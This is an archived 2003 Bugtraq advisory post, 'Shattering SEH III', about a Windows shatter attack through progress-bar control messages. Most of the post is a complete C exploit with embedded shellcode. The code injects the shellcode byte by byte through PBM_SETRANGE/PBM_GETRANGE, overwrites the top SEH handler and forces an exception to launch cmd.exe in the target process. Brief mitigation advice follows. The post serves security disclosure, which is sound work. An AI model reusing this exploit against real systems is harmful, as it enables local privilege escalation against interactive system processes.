lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <KFEMINDBKGBEMHACCJHCAEAGDBAA.brett.moore@security-assessment.com>
Date: Mon, 29 Sep 2003 18:12:25 +1200
From: "Brett Moore" <brett.moore@...urity-assessment.com>
To: <bugtraq@...urityfocus.com>
Subject: Shattering SEH III


============================================================================
= Shattering SEH III
=
= brett.moore@...urity-assessment.com
= http://www.security-assessment.com
=
= Originally posted: September 29, 2003
============================================================================

== Background ==

After we posted our first research post regarding overwriting SEH using
windows messages;
-archives.neohapsis.com/archives/vulnwatch/2003-q3/0059.html

Oliver Lavery posted about using the same technique against tab controls;
-downloads.securityfocus.com/vulnerabilities/exploits/mcafee-shatterseh2.c

Following is a sample program that demonstrates the same techniques been
used against the progress bar control. Although this method does work, we
were unable to find any 'system level' programs that had progress bars to
be exploited.

We are however releasing this so that developers of such programs are aware
that even non-interactive controls may be vulnerable to shatter type
attacks.

The code is almost identical except for the use of different messages which
we use to write our shellcode into a known writeable address. Then the SEH
handler is overwritten with the same address, and after causing an exception
the code is executed.

== Example Code ==
/***************************************************************************
* Progress Control Shatter exploit
*
* Demonstrates the use of Progress Control messages to;
* - inject shellcode to known location
* - overwrite 4 bytes of a critical memory address
*
* 3 Variables need to be set for proper execution.
* - tWindow is the title of the programs main window
* - sehHandler is the critical address to overwrite
* - shellcodeaddr is the data space to inject the code
*
* Local shellcode loads relevant addresses
* Try it out against any program with a progress bar
*
* Based on (and pretty much identical to)
*	mcafee-shatterseh2.c by
*   Oliver Lavery <oliver.lavery at sympatico.ca>
****************************************************************************
/
#include <windows.h>
#include <commctrl.h>
#include <stdio.h>
// Local Cmd Shellcode.
BYTE exploit[] =
"\x90\x68\x74\x76\x73\x6D\x68\x63\x72\x00\x00\x54\xB9\x61\xD9\xE7\x77\xFF\xD
1\x68\x63\x6D\x64\x00\x54\xB9\x44\x80\xC2\x77\xFF\xD1\xCC";
char g_classNameBuf[ 256 ];
char tWindow[]="Checking Disk C:\\";// The name of the main window
long sehHandler = 0x7fXXXXXX; // Critical Address To Overwrite
long shellcodeaddr = 0x7fXXXXXX; // Known Writeable Space Or Global Space
void doWrite(HWND hWnd, long tByte,long address);
void IterateWindows(long hWnd);
int main(int argc, char *argv[])
{
   long hWnd;
   HMODULE hMod;
   DWORD ProcAddr;
   printf("%% Playing with progress bar messages\n");
   printf("%% brett.moore@...urity-assessment.com\n\n");
   // Find local procedure address
   hMod = LoadLibrary("kernel32.dll");
   ProcAddr = (DWORD)GetProcAddress(hMod, "LoadLibraryA");
   if(ProcAddr != 0)
      // And put it in our shellcode
      *(long *)&exploit[13] = ProcAddr;
   hMod = LoadLibrary("msvcrt.dll");
   ProcAddr = (DWORD)GetProcAddress(hMod, "system");
   if(ProcAddr != 0)
      // And put it in our shellcode
      *(long *)&exploit[26] = ProcAddr;

   printf("+ Finding %s Window...\n",tWindow);
   hWnd = (long)FindWindow(NULL,tWindow);
   if(hWnd == NULL)
   {
      printf("+ Couldn't Find %s Window\n",tWindow);
      return 0;
   }
   printf("+ Found Main Window At...0x%xh\n",hWnd);
   IterateWindows(hWnd);
   printf("+ Done...\n");
   return 0;
}
void doWrite(HWND hWnd, long tByte,long address)
{
   SendMessage( hWnd,(UINT) PBM_SETRANGE,0,MAKELPARAM(tByte , 20));
   SendMessage( hWnd,(UINT) PBM_GETRANGE,1,address);
}
void IterateWindows(long hWnd)
{
   long childhWnd,looper;
   childhWnd = (long)GetNextWindow((HWND)hWnd,GW_CHILD);
   while (childhWnd != NULL)
   {
      IterateWindows(childhWnd);
      childhWnd = (long)GetNextWindow((HWND)childhWnd ,GW_HWNDNEXT);
   }
   GetClassName( (HWND)hWnd, g_classNameBuf, sizeof(g_classNameBuf) );
   if ( strcmp(g_classNameBuf, "msctls_progress32") ==0)
   {
	  // Inject shellcode to known address
	  printf("+ Sending shellcode to...0x%xh\n",shellcodeaddr);
	  for (looper=0;looper<sizeof(exploit);looper++)
		 doWrite((HWND)hWnd, (long) exploit[looper],(shellcodeaddr + looper));
	  // Overwrite SEH
	  printf("+ Overwriting Top SEH....0x%xh\n",sehHandler);
	  doWrite((HWND)hWnd, ((shellcodeaddr) & 0xff),sehHandler);
	  doWrite((HWND)hWnd, ((shellcodeaddr >> 8) & 0xff),sehHandler+1);
	  doWrite((HWND)hWnd, ((shellcodeaddr >> 16) & 0xff),sehHandler+2);
	  doWrite((HWND)hWnd, ((shellcodeaddr >> 24) & 0xff),sehHandler+3);
	  // Cause exception
	  printf("+ Forcing Unhandled Exception\n");
	  SendMessage((HWND) hWnd,(UINT) PBM_GETRANGE,0,1);
	  printf("+ Done...\n");
	  exit(0);
	}
}

== Example Vulnerable Programs ==

>From our testing, any interactive process that has an accessible
progress bar is vulnerable.

== Solutions ==

See the iDEFENSE paper for some good solution examples.
- Limit the interactive system processes
- Filter the messages accepted by interactive system processes

== Credit ==

Brett Moore from security-assessment.com

== About Security-Assessment.com ==

Security-Assessment.com is a leader in intrusion testing and security
code review, and leads the world with SA-ISO, online ISO17799 compliance
management solution. Security-Assessment.com is committed to security
research and development, and its team have previously identified a
number of vulnerabilities in public and private software vendors products.




Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ